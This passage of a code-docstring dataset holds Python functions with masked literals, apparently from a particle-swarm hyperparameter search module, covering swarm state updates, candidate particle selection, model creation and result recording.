os.environ:<EOL><INDENT>while True:<EOL><INDENT>resultsStr = self._cjDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if resultsStr is None:<EOL><INDENT>results = {}<EOL><DEDENT>else:<EOL><INDENT>results = json.loads(resultsStr)<EOL><DEDENT>if not '<STR_LIT>' in results:<EOL><INDENT>results['<STR_LIT>'] = {}<EOL><DEDENT>for swarm in completedList:<EOL><INDENT>if swarm not in results['<STR_LIT>']:<EOL><INDENT>results['<STR_LIT>'][swarm] = (genIdx,<EOL>self._swarmTerminator.swarmScores[swarm])<EOL><DEDENT><DEDENT>newResultsStr = json.dumps(results)<EOL>if newResultsStr == resultsStr:<EOL><INDENT>break<EOL><DEDENT>updated = self._cjDAO.jobSetFieldIfEqual(jobID=self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=resultsStr,<EOL>newValue = json.dumps(results))<EOL>if updated:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>if len(completedList) > <NUM_LIT:0>:<EOL><INDENT>for name in completedList:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT:%s>\" % (name, genIdx, errScore))<EOL><DEDENT>completedSwarms = completedSwarms.union(completedList)<EOL><DEDENT><DEDENT>if len(completedSwarms)==<NUM_LIT:0> and (exhaustedSwarmId is None):<EOL><INDENT>return<EOL><DEDENT>while True:<EOL><INDENT>if exhaustedSwarmId is not None:<EOL><INDENT>self._hsState.setSwarmState(exhaustedSwarmId, exhaustedSwarmStatus)<EOL><DEDENT>for swarmId in completedSwarms:<EOL><INDENT>self._hsState.setSwarmState(swarmId, '<STR_LIT>')<EOL><DEDENT>if not self._hsState.isDirty():<EOL><INDENT>return<EOL><DEDENT>success = self._hsState.writeStateToDB()<EOL>if success:<EOL><INDENT>jobResultsStr = self._cjDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobResultsStr is not None:<EOL><INDENT>jobResults = json.loads(jobResultsStr)<EOL>bestModelId = jobResults.get('<STR_LIT>', None)<EOL><DEDENT>else:<EOL><INDENT>bestModelId = None<EOL><DEDENT>for swarmId in list(completedSwarms):<EOL><INDENT>(_, modelIds, _, _, _) = self._resultsDB.getParticleInfos(<EOL>swarmId=swarmId, completed=False)<EOL>if bestModelId in modelIds:<EOL><INDENT>modelIds.remove(bestModelId)<EOL><DEDENT>if len(modelIds) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (swarmId,<EOL>str(modelIds)))<EOL>for modelId in modelIds:<EOL><INDENT>self._cjDAO.modelSetFields(modelId,<EOL>dict(engStop=ClientJobsDAO.STOP_REASON_KILLED),<EOL>ignoreUnchanged = True)<EOL><DEDENT><DEDENT>return<EOL><DEDENT>self._hsState.readStateFromDB()<EOL>self.logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (pprint.pformat(self._hsState._state, indent=<NUM_LIT:4>)))<EOL><DEDENT>", "docstring": "Periodically, check to see if we should remove a certain field combination\nfrom evaluation (because it is doing so poorly) or move on to the next\nsprint (add in more fields).\n\nThis method is called from _getCandidateParticleAndSwarm(), which is called\nright before we try and create a new model to run.\n\nParameters:\n-----------------------------------------------------------------------\nremoveSwarmId:     If not None, force a change to the current set of active\n                  swarms by removing this swarm. This is used in situations\n                  where we can't find any new unique models to create in\n                  this swarm. In these situations, we update the hypersearch\n                  state regardless of the timestamp of the last time another\n                  worker updated it.", "id": "f17579:c1:m11"}
{"signature": "def _getCandidateParticleAndSwarm (self, exhaustedSwarmId=None):", "body": "<EOL>jobCancel = self._cjDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobCancel:<EOL><INDENT>self._jobCancelled = True<EOL>(workerCmpReason, workerCmpMsg) = self._cjDAO.jobGetFields(self._jobID,<EOL>['<STR_LIT>', '<STR_LIT>'])<EOL>if workerCmpReason == ClientJobsDAO.CMPL_REASON_SUCCESS:<EOL><INDENT>self.logger.info(\"<STR_LIT>\")<EOL>self._cjDAO.jobSetFields(self._jobID,<EOL>dict(workerCompletionMsg=\"<STR_LIT>\"),<EOL>useConnectionID=False, ignoreUnchanged=True)<EOL><DEDENT>else:<EOL><INDENT>self.logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(workerCmpReason, workerCmpMsg))<EOL><DEDENT>return (True, None, None)<EOL><DEDENT>if self._hsState is not None:<EOL><INDENT>priorActiveSwarms = self._hsState.getActiveSwarms()<EOL><DEDENT>else:<EOL><INDENT>priorActiveSwarms = None<EOL><DEDENT>self._hsStatePeriodicUpdate(exhaustedSwarmId=exhaustedSwarmId)<EOL>activeSwarms = self._hsState.getActiveSwarms()<EOL>if activeSwarms != priorActiveSwarms:<EOL><INDENT>self.logger.info(\"<STR_LIT>\" % (activeSwarms,<EOL>priorActiveSwarms))<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\" % (activeSwarms))<EOL>totalCmpModels = self._resultsDB.getNumCompletedModels()<EOL>if totalCmpModels > <NUM_LIT:5>:<EOL><INDENT>numErrs = self._resultsDB.getNumErrModels()<EOL>if (float(numErrs) / totalCmpModels) > self._maxPctErrModels:<EOL><INDENT>errModelIds = self._resultsDB.getErrModelIds()<EOL>resInfo = self._cjDAO.modelsGetResultAndStatus([errModelIds[<NUM_LIT:0>]])[<NUM_LIT:0>]<EOL>modelErrMsg = resInfo.completionMsg<EOL>cmpMsg = \"<STR_LIT>\"\"<STR_LIT>\" %(ErrorCodes.tooManyModelErrs, numErrs, totalCmpModels,<EOL>modelErrMsg)<EOL>self.logger.error(cmpMsg)<EOL>workerCmpReason = self._cjDAO.jobGetFields(self._jobID,<EOL>['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if workerCmpReason == ClientJobsDAO.CMPL_REASON_SUCCESS:<EOL><INDENT>self._cjDAO.jobSetFields(<EOL>self._jobID,<EOL>fields=dict(<EOL>cancel=True,<EOL>workerCompletionReason = ClientJobsDAO.CMPL_REASON_ERROR,<EOL>workerCompletionMsg = cmpMsg),<EOL>useConnectionID=False,<EOL>ignoreUnchanged=True)<EOL><DEDENT>return (True, None, None)<EOL><DEDENT><DEDENT>if self._hsState.isSearchOver():<EOL><INDENT>cmpMsg = \"<STR_LIT>\"\"<STR_LIT>\"<EOL>self.logger.info(cmpMsg)<EOL>self._cjDAO.jobSetFields(self._jobID,<EOL>dict(workerCompletionMsg=cmpMsg),<EOL>useConnectionID=False, ignoreUnchanged=True)<EOL>return (True, None, None)<EOL><DEDENT>sprintIdx = -<NUM_LIT:1><EOL>while True:<EOL><INDENT>sprintIdx += <NUM_LIT:1><EOL>(active, eos) = self._hsState.isSprintActive(sprintIdx)<EOL>if eos:<EOL><INDENT>if self._hsState.anyGoodSprintsActive():<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return (False, None, None)<EOL><DEDENT>else:<EOL><INDENT>cmpMsg = \"<STR_LIT>\"\"<STR_LIT>\"<EOL>self._cjDAO.jobSetFields(self._jobID,<EOL>dict(workerCompletionMsg=cmpMsg),<EOL>useConnectionID=False, ignoreUnchanged=True)<EOL>self.logger.info(cmpMsg)<EOL>return (True, None, None)<EOL><DEDENT><DEDENT>if not active:<EOL><INDENT>if not self._speculativeParticles:<EOL><INDENT>if not self._hsState.isSprintCompleted(sprintIdx):<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (sprintIdx))<EOL>return (False, None, None)<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>swarmIds = self._hsState.getActiveSwarms(sprintIdx)<EOL>for swarmId in swarmIds:<EOL><INDENT>firstNonFullGenIdx = self._resultsDB.firstNonFullGeneration(<EOL>swarmId=swarmId,<EOL>minNumParticles=self._minParticlesPerSwarm)<EOL>if firstNonFullGenIdx is None:<EOL><INDENT>continue<EOL><DEDENT>if firstNonFullGenIdx < self._resultsDB.highestGeneration(swarmId):<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<EOL>firstNonFullGenIdx, swarmId, sprintIdx))<EOL>(allParticles, allModelIds, errScores, completed, matured) =self._resultsDB.getOrphanParticleInfos(swarmId, firstNonFullGenIdx)<EOL>if len(allModelIds) > <NUM_LIT:0>:<EOL><INDENT>newParticleId = True<EOL>self.logger.info(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>newParticleId = True<EOL>self.logger.info(\"<STR_LIT>\")<EOL>(allParticles, allModelIds, errScores, completed, matured) =self._resultsDB.getParticleInfos(swarmId=swarmId,<EOL>genIdx=firstNonFullGenIdx)<EOL><DEDENT>modelId = random.choice(allModelIds)<EOL>self.logger.info(\"<STR_LIT>\" % (modelId))<EOL>(particleState, _, _, _, _) = self._resultsDB.getParticleInfo(modelId)<EOL>particle = Particle(hsObj = self,<EOL>resultsDB = self._resultsDB,<EOL>flattenedPermuteVars=self._flattenedPermutations,<EOL>newFromClone=particleState,<EOL>newParticleId=newParticleId)<EOL>return (False, particle, swarmId)<EOL><DEDENT><DEDENT>swarmSizes = numpy.array([self._resultsDB.numModels(x) for x in swarmIds])<EOL>swarmSizeAndIdList = list(zip(swarmSizes, swarmIds))<EOL>swarmSizeAndIdList.sort()<EOL>for (_, swarmId) in swarmSizeAndIdList:<EOL><INDENT>(allParticles, allModelIds, errScores, completed, matured) = (<EOL>self._resultsDB.getParticleInfos(swarmId))<EOL>if len(allParticles) < self._minParticlesPerSwarm:<EOL><INDENT>particle = Particle(hsObj=self,<EOL>resultsDB=self._resultsDB,<EOL>flattenedPermuteVars=self._flattenedPermutations,<EOL>swarmId=swarmId,<EOL>newFarFrom=allParticles)<EOL>bestPriorModel = None<EOL>if sprintIdx >= <NUM_LIT:1>:<EOL><INDENT>(bestPriorModel, errScore) = self._hsState.bestModelInSprint(<NUM_LIT:0>)<EOL><DEDENT>if bestPriorModel is not None:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (<NUM_LIT:0>, str(bestPriorModel), errScore))<EOL>(baseState, modelId, errScore, completed, matured)= self._resultsDB.getParticleInfo(bestPriorModel)<EOL>particle.copyEncoderStatesFrom(baseState)<EOL>particle.copyVarStatesFrom(baseState, ['<STR_LIT>'])<EOL>whichVars = []<EOL>for varName in baseState['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT::>' in varName:<EOL><INDENT>whichVars.append(varName)<EOL><DEDENT><DEDENT>particle.newPosition(whichVars)<EOL>self.logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (str(particle)))<EOL><DEDENT>return (False, particle, swarmId)<EOL><DEDENT>(readyParticles, readyModelIds, readyErrScores, _, _) = (<EOL>self._resultsDB.getParticleInfos(swarmId, genIdx=None,<EOL>matured=True, lastDescendent=True))<EOL>if len(readyParticles) > <NUM_LIT:0>:<EOL><INDENT>readyGenIdxs = [x['<STR_LIT>'] for x in readyParticles]<EOL>sortedGenIdxs = sorted(set(readyGenIdxs))<EOL>genIdx = sortedGenIdxs[<NUM_LIT:0>]<EOL>useParticle = None<EOL>for particle in readyParticles:<EOL><INDENT>if particle['<STR_LIT>'] == genIdx:<EOL><INDENT>useParticle = particle<EOL>break<EOL><DEDENT><DEDENT>if not self._speculativeParticles:<EOL><INDENT>(particles, _, _, _, _) = self._resultsDB.getParticleInfos(<EOL>swarmId, genIdx=genIdx, matured=False)<EOL>if len(particles) > <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>particle = Particle(hsObj=self,<EOL>resultsDB=self._resultsDB,<EOL>flattenedPermuteVars=self._flattenedPermutations,<EOL>evolveFromState=useParticle)<EOL>return (False, particle, swarmId)<EOL><DEDENT><DEDENT>if not self._speculativeParticles:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"% (str(swarmIds)))<EOL>return (False, None, None)<EOL><DEDENT><DEDENT>", "docstring": "Find or create a candidate particle to produce a new model.\n\n        At any one time, there is an active set of swarms in the current sprint, where\n        each swarm in the sprint represents a particular combination of fields.\n        Ideally, we should try to balance the number of models we have evaluated for\n        each swarm at any time.\n\n        This method will see how many models have been evaluated for each active\n        swarm in the current active sprint(s) and then try and choose a particle\n        from the least represented swarm in the first possible active sprint, with\n        the following constraints/rules:\n\n        for each active sprint:\n          for each active swarm (preference to those with least# of models so far):\n            1.) The particle will be created from new (generation #0) if there are not\n            already self._minParticlesPerSwarm particles in the swarm.\n\n            2.) Find the first gen that has a completed particle and evolve that\n            particle to the next generation.\n\n            3.) If we got to here, we know that we have satisfied the min# of\n            particles for the swarm, and they are all currently running (probably at\n            various generation indexes). Go onto the next swarm\n\n          If we couldn't find a swarm to allocate a particle in, go onto the next\n          sprint and start allocating particles there....\n\n\n        Parameters:\n        ----------------------------------------------------------------\n        exhaustedSwarmId:   If not None, force a change to the current set of active\n                            swarms by marking this swarm as either 'completing' or\n                            'completed'. If there are still models being evaluaed in\n                            it, mark it as 'completing', else 'completed. This is\n                            used in situations where we can't find any new unique\n                            models to create in this swarm. In these situations, we\n                            force an update to the hypersearch state so no other\n                            worker wastes time try to use this swarm.\n\n        retval: (exit, particle, swarm)\n                  exit: If true, this worker is ready to exit (particle and\n                          swarm will be None)\n                  particle: Which particle to run\n                  swarm: which swarm the particle is in\n\n                  NOTE: When particle and swarm are None and exit is False, it\n                  means that we need to wait for one or more other worker(s) to\n                  finish their respective models before we can pick a particle\n                  to run. This will generally only happen when speculativeParticles\n                  is set to False.", "id": "f17579:c1:m12"}
{"signature": "def _okToExit(self):", "body": "<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>if not self._jobCancelled:<EOL><INDENT>(_, modelIds, _, _, _) = self._resultsDB.getParticleInfos(matured=False)<EOL>if len(modelIds) > <NUM_LIT:0>:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\")<EOL>time.sleep(<NUM_LIT> * random.random())<EOL>return False<EOL><DEDENT><DEDENT>(_, modelIds, _, _, _) = self._resultsDB.getParticleInfos(completed=False)<EOL>for modelId in modelIds:<EOL><INDENT>self.logger.info(\"<STR_LIT>\"% (modelId))<EOL>self._cjDAO.modelSetFields(modelId,<EOL>dict(engStop=ClientJobsDAO.STOP_REASON_STOPPED),<EOL>ignoreUnchanged = True)<EOL><DEDENT>self._hsStatePeriodicUpdate()<EOL>pctFieldContributions, absFieldContributions =self._hsState.getFieldContributions()<EOL>jobResultsStr = self._cjDAO.jobGetFields(self._jobID, ['<STR_LIT>'])[<NUM_LIT:0>]<EOL>if jobResultsStr is not None:<EOL><INDENT>jobResults = json.loads(jobResultsStr)<EOL><DEDENT>else:<EOL><INDENT>jobResults = {}<EOL><DEDENT>if pctFieldContributions != jobResults.get('<STR_LIT>', None):<EOL><INDENT>jobResults['<STR_LIT>'] = pctFieldContributions<EOL>jobResults['<STR_LIT>'] = absFieldContributions<EOL>isUpdated = self._cjDAO.jobSetFieldIfEqual(self._jobID,<EOL>fieldName='<STR_LIT>',<EOL>curValue=jobResultsStr,<EOL>newValue=json.dumps(jobResults))<EOL>if isUpdated:<EOL><INDENT>self.logger.info('<STR_LIT>',<EOL>pctFieldContributions)<EOL><DEDENT>else:<EOL><INDENT>self.logger.info('<STR_LIT>''<STR_LIT>')<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Test if it's OK to exit this worker. This is only called when we run\n        out of prospective new models to evaluate. This method sees if all models\n        have matured yet. If not, it will sleep for a bit and return False. This\n        will indicate to the hypersearch worker that we should keep running, and\n        check again later. This gives this worker a chance to pick up and adopt any\n        model which may become orphaned by another worker before it matures.\n\n        If all models have matured, this method will send a STOP message to all\n        matured, running models (presummably, there will be just one - the model\n        which thinks it's the best) before returning True.", "id": "f17579:c1:m13"}
{"signature": "def createModels(self, numModels=<NUM_LIT:1>):", "body": "<EOL>self._checkForOrphanedModels()<EOL>modelResults = []<EOL>for _ in range(numModels):<EOL><INDENT>candidateParticle = None<EOL>if (self._maxModels is not None and<EOL>(self._resultsDB.numModels() - self._resultsDB.getNumErrModels()) >=<EOL>self._maxModels):<EOL><INDENT>return (self._okToExit(), [])<EOL><DEDENT>if candidateParticle is None:<EOL><INDENT>(exitNow, candidateParticle, candidateSwarm) = (<EOL>self._getCandidateParticleAndSwarm())<EOL><DEDENT>if candidateParticle is None:<EOL><INDENT>if exitNow:<EOL><INDENT>return (self._okToExit(), [])<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\", file=sys.stderr)<EOL>time.sleep(self._speculativeWaitSecondsMax * random.random())<EOL>return (False, [])<EOL><DEDENT><DEDENT>useEncoders = candidateSwarm.split('<STR_LIT:.>')<EOL>numAttempts = <NUM_LIT:0><EOL>while True:<EOL><INDENT>if numAttempts >= <NUM_LIT:1>:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (numAttempts))<EOL>candidateParticle.agitate()<EOL><DEDENT>position = candidateParticle.getPosition()<EOL>structuredParams = dict()<EOL>def _buildStructuredParams(value, keys):<EOL><INDENT>flatKey = _flattenKeys(keys)<EOL>if flatKey in self._encoderNames:<EOL><INDENT>if flatKey in useEncoders:<EOL><INDENT>return value.getDict(flatKey, position)<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>elif flatKey in position:<EOL><INDENT>return position[flatKey]<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT><DEDENT>structuredParams = rCopy(self._permutations,<EOL>_buildStructuredParams,<EOL>discardNoneKeys=False)<EOL>modelParams = dict(<EOL>structuredParams=structuredParams,<EOL>particleState = candidateParticle.getState()<EOL>)<EOL>m = hashlib.md5()<EOL>m.update(sortedJSONDumpS(structuredParams))<EOL>m.update(self._baseDescriptionHash)<EOL>paramsHash = m.digest()<EOL>particleInst = \"<STR_LIT>\" % (modelParams['<STR_LIT>']['<STR_LIT:id>'],<EOL>modelParams['<STR_LIT>']['<STR_LIT>'])<EOL>particleHash = hashlib.md5(particleInst).digest()<EOL>numAttempts += <NUM_LIT:1><EOL>if self._filterFunc and not self._filterFunc(structuredParams):<EOL><INDENT>valid = False<EOL><DEDENT>else:<EOL><INDENT>valid = True<EOL><DEDENT>if valid and self._resultsDB.getModelIDFromParamsHash(paramsHash) is None:<EOL><INDENT>break<EOL><DEDENT>if numAttempts >= self._maxUniqueModelAttempts:<EOL><INDENT>(exitNow, candidateParticle, candidateSwarm)= self._getCandidateParticleAndSwarm(<EOL>exhaustedSwarmId=candidateSwarm)<EOL>if candidateParticle is None:<EOL><INDENT>if exitNow:<EOL><INDENT>return (self._okToExit(), [])<EOL><DEDENT>else:<EOL><INDENT>time.sleep(self._speculativeWaitSecondsMax * random.random())<EOL>return (False, [])<EOL><DEDENT><DEDENT>numAttempts = <NUM_LIT:0><EOL>useEncoders = candidateSwarm.split('<STR_LIT:.>')<EOL><DEDENT><DEDENT>if self.logger.getEffectiveLevel() <= logging.DEBUG:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\"<EOL>% (pprint.pformat(modelParams, indent=<NUM_LIT:4>)))<EOL><DEDENT>modelResults.append((modelParams, paramsHash, particleHash))<EOL><DEDENT>return (False, modelResults)<EOL>", "docstring": "Create one or more new models for evaluation. These should NOT be models\n        that we already know are in progress (i.e. those that have been sent to us\n        via recordModelProgress). We return a list of models to the caller\n        (HypersearchWorker) and if one can be successfully inserted into\n        the models table (i.e. it is not a duplicate) then HypersearchWorker will\n        turn around and call our runModel() method, passing in this model. If it\n        is a duplicate, HypersearchWorker will call this method again. A model\n        is a duplicate if either the  modelParamsHash or particleHash is\n        identical to another entry in the model table.\n\n        The numModels is provided by HypersearchWorker as a suggestion as to how\n        many models to generate. This particular implementation only ever returns 1\n        model.\n\n        Before choosing some new models, we first do a sweep for any models that\n        may have been abandonded by failed workers. If/when we detect an abandoned\n        model, we mark it as complete and orphaned and hide it from any subsequent\n        queries to our ResultsDB. This effectively considers it as if it never\n        existed. We also change the paramsHash and particleHash in the model record\n        of the models table so that we can create another model with the same\n        params and particle status and run it (which we then do immediately).\n\n        The modelParamsHash returned for each model should be a hash (max allowed\n        size of ClientJobsDAO.hashMaxSize) that uniquely identifies this model by\n        it's params and the optional particleHash should be a hash of the particleId\n        and generation index. Every model that gets placed into the models database,\n        either by this worker or another worker, will have these hashes computed for\n        it. The recordModelProgress gets called for every model in the database and\n        the hash is used to tell which, if any, are the same as the ones this worker\n        generated.\n\n        NOTE: We check first ourselves for possible duplicates using the paramsHash\n        before we return a model. If HypersearchWorker failed to insert it (because\n        some other worker beat us to it), it will turn around and call our\n        recordModelProgress with that other model so that we now know about it. It\n        will then call createModels() again.\n\n        This methods returns an exit boolean and the model to evaluate. If there is\n        no model to evalulate, we may return False for exit because we want to stay\n        alive for a while, waiting for all other models to finish. This gives us\n        a chance to detect and pick up any possibly orphaned model by another\n        worker.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        numModels:   number of models to generate\n        retval:      (exit, models)\n                        exit: true if this worker should exit.\n                        models: list of tuples, one for each model. Each tuple contains:\n                          (modelParams, modelParamsHash, particleHash)\n\n                     modelParams is a dictionary containing the following elements:\n\n                       structuredParams: dictionary containing all variables for\n                         this model, with encoders represented as a dict within\n                         this dict (or None if they are not included.\n\n                       particleState: dictionary containing the state of this\n                         particle. This includes the position and velocity of\n                         each of it's variables, the particleId, and the particle\n                         generation index. It contains the following keys:\n\n                         id: The particle Id of the particle we are using to\n                               generate/track this model. This is a string of the\n                               form <hypesearchWorkerId>.<particleIdx>\n                         genIdx: the particle's generation index. This starts at 0\n                               and increments every time we move the particle to a\n                               new position.\n                         swarmId: The swarmId, which is a string of the form\n                           <encoder>.<encoder>... that describes this swarm\n                         varStates: dict of the variable states. The key is the\n                             variable name, the value is a dict of the variable's\n                             position, velocity, bestPosition, bestResult, etc.", "id": "f17579:c1:m15"}
{"signature": "def recordModelProgress(self, modelID, modelParams, modelParamsHash, results,<EOL>completed, completionReason, matured, numRecords):", "body": "if results is None:<EOL><INDENT>metricResult = None<EOL><DEDENT>else:<EOL><INDENT>metricResult = list(results[<NUM_LIT:1>].values())[<NUM_LIT:0>]<EOL><DEDENT>errScore = self._resultsDB.update(modelID=modelID,<EOL>modelParams=modelParams,modelParamsHash=modelParamsHash,<EOL>metricResult=metricResult, completed=completed,<EOL>completionReason=completionReason, matured=matured,<EOL>numRecords=numRecords)<EOL>self.logger.debug('<STR_LIT>'<EOL>'<STR_LIT>' ,<EOL>modelID, completed, completionReason, numRecords, errScore)<EOL>(bestModelID, bestResult) = self._resultsDB.bestModelIdAndErrScore()<EOL>self.logger.debug('<STR_LIT>' %(bestResult, bestModelID))<EOL>", "docstring": "Record or update the results for a model. This is called by the\n        HSW whenever it gets results info for another model, or updated results\n        on a model that is still running.\n\n        The first time this is called for a given modelID, the modelParams will\n        contain the params dict for that model and the modelParamsHash will contain\n        the hash of the params. Subsequent updates of the same modelID will\n        have params and paramsHash values of None (in order to save overhead).\n\n        The Hypersearch object should save these results into it's own working\n        memory into some table, which it then uses to determine what kind of\n        new models to create next time createModels() is called.\n\n        Parameters:\n        ----------------------------------------------------------------------\n        modelID:        ID of this model in models table\n        modelParams:    params dict for this model, or None if this is just an update\n                        of a model that it already previously reported on.\n\n                        See the comments for the createModels() method for a\n                        description of this dict.\n\n        modelParamsHash:  hash of the modelParams dict, generated by the worker\n                        that put it into the model database.\n        results:        tuple containing (allMetrics, optimizeMetric). Each is a\n                        dict containing metricName:result pairs. .\n                        May be none if we have no results yet.\n        completed:      True if the model has completed evaluation, False if it\n                          is still running (and these are online results)\n        completionReason: One of the ClientJobsDAO.CMPL_REASON_XXX equates\n        matured:        True if this model has matured. In most cases, once a\n                        model matures, it will complete as well. The only time a\n                        model matures and does not complete is if it's currently\n                        the best model and we choose to keep it running to generate\n                        predictions.\n        numRecords:     Number of records that have been processed so far by this\n                          model.", "id": "f17579:c1:m16"}
{"signature": "def runModel(self, modelID, jobID, modelParams, modelParamsHash,<EOL>jobsDAO, modelCheckpointGUID):", "body": "<EOL>if not self._createCheckpoints:<EOL><INDENT>modelCheckpointGUID = None<EOL><DEDENT>self._resultsDB.update(modelID=modelID,<EOL>modelParams=modelParams,<EOL>modelParamsHash=modelParamsHash,<EOL>metricResult = None,<EOL>completed = False,<EOL>completionReason = None,<EOL>matured = False,<EOL>numRecords = <NUM_LIT:0>)<EOL>structuredParams = modelParams['<STR_LIT>']<EOL>if self.logger.getEffectiveLevel() <= logging.DEBUG:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" %(pprint.pformat(modelParams, indent=<NUM_LIT:4>), modelID))<EOL><DEDENT>cpuTimeStart = time.clock()<EOL>logLevel = self.logger.getEffectiveLevel()<EOL>try:<EOL><INDENT>if self._dummyModel is None or self._dummyModel is False:<EOL><INDENT>(cmpReason, cmpMsg) = runModelGivenBaseAndParams(<EOL>modelID=modelID,<EOL>jobID=jobID,<EOL>baseDescription=self._baseDescription,<EOL>params=structuredParams,<EOL>predictedField=self._predictedField,<EOL>reportKeys=self._reportKeys,<EOL>optimizeKey=self._optimizeKey,<EOL>jobsDAO=jobsDAO,<EOL>modelCheckpointGUID=modelCheckpointGUID,<EOL>logLevel=logLevel,<EOL>predictionCacheMaxRecords=self._predictionCacheMaxRecords)<EOL><DEDENT>else:<EOL><INDENT>dummyParams = dict(self._dummyModel)<EOL>dummyParams['<STR_LIT>'] = structuredParams<EOL>if self._dummyModelParamsFunc is not None:<EOL><INDENT>permInfo = dict(structuredParams)<EOL>permInfo ['<STR_LIT>'] = modelParams['<STR_LIT>']['<STR_LIT>']<EOL>dummyParams.update(self._dummyModelParamsFunc(permInfo))<EOL><DEDENT>(cmpReason, cmpMsg) = runDummyModel(<EOL>modelID=modelID,<EOL>jobID=jobID,<EOL>params=dummyParams,<EOL>predictedField=self._predictedField,<EOL>reportKeys=self._reportKeys,<EOL>optimizeKey=self._optimizeKey,<EOL>jobsDAO=jobsDAO,<EOL>modelCheckpointGUID=modelCheckpointGUID,<EOL>logLevel=logLevel,<EOL>predictionCacheMaxRecords=self._predictionCacheMaxRecords)<EOL><DEDENT>jobsDAO.modelSetCompleted(modelID,<EOL>completionReason = cmpReason,<EOL>completionMsg = cmpMsg,<EOL>cpuTime = time.clock() - cpuTimeStart)<EOL><DEDENT>except InvalidConnectionException as e:<EOL><INDENT>self.logger.warn(\"<STR_LIT:%s>\", e)<EOL><DEDENT>", "docstring": "Run the given model.\n\n        This runs the model described by 'modelParams'. Periodically, it updates\n        the results seen on the model to the model database using the databaseAO\n        (database Access Object) methods.\n\n        Parameters:\n        -------------------------------------------------------------------------\n        modelID:             ID of this model in models table\n\n        jobID:               ID for this hypersearch job in the jobs table\n\n        modelParams:         parameters of this specific model\n                             modelParams is a dictionary containing the name/value\n                             pairs of each variable we are permuting over. Note that\n                             variables within an encoder spec have their name\n                             structure as:\n                               <encoderName>.<encodrVarName>\n\n        modelParamsHash:     hash of modelParamValues\n\n        jobsDAO              jobs data access object - the interface to the jobs\n                              database where model information is stored\n\n        modelCheckpointGUID: A persistent, globally-unique identifier for\n                              constructing the model checkpoint key", "id": "f17579:c1:m17"}
{"signature": "def getState(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Return the current state of this particle. This is used for\n        communicating our state into a model record entry so that it can be\n        instantiated on another worker.", "id": "f17581:c0:m1"}
{"signature": "def setState(self, state):", "body": "raise NotImplementedError<EOL>", "docstring": "Set the current state of this particle. This is counterpart to getState.", "id": "f17581:c0:m2"}
{"signature": "def getPosition(self):", "body": "raise NotImplementedError<EOL>", "docstring": "for int vars, returns position to nearest int\n\n        Parameters:\n        --------------------------------------------------------------\n        retval:     current position", "id": "f17581:c0:m3"}
{"signature": "def agitate(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This causes the variable to jiggle away from its current position.\n        It does this by increasing its velocity by a multiplicative factor.\n        Every time agitate() is called, the velocity will increase. In this way,\n        you can call agitate over and over again until the variable reaches a\n        new position.", "id": "f17581:c0:m4"}
{"signature": "def newPosition(self, globalBestPosition, rng):", "body": "raise NotImplementedError<EOL>", "docstring": "Choose a new position based on results obtained so far from other\n        particles and the passed in globalBestPosition.\n\n        Parameters:\n        --------------------------------------------------------------\n        globalBestPosition:   global best position for this colony\n        rng:                  instance of random.Random() used for generating\n                                  random numbers\n        retval:       new position", "id": "f17581:c0:m5"}
{"signature": "def pushAwayFrom(self, otherVars, rng):", "body": "raise NotImplementedError<EOL>", "docstring": "Choose a new position that is as far away as possible from all\n        'otherVars', where 'otherVars' is a list of PermuteVariable instances.\n\n        Parameters:\n        --------------------------------------------------------------\n        otherVars:   list of other PermuteVariables to push away from\n        rng:                  instance of random.Random() used for generating\n                                  random numbers", "id": "f17581:c0:m6"}
{"signature": "def resetVelocity(self, rng):", "body": "raise NotImplementedError<EOL>", "docstring": "Reset the velocity to be some fraction of the total distance. This\n        is called usually when we start a new swarm and want to start at the\n        previous best position found in the previous swarm but with a\n        velocity which is a known fraction of the total distance between min\n        and max.\n\n        Parameters:\n        --------------------------------------------------------------\n        rng:                  instance of random.Random() used for generating\n                                  random numbers", "id": "f17581:c0:m7"}
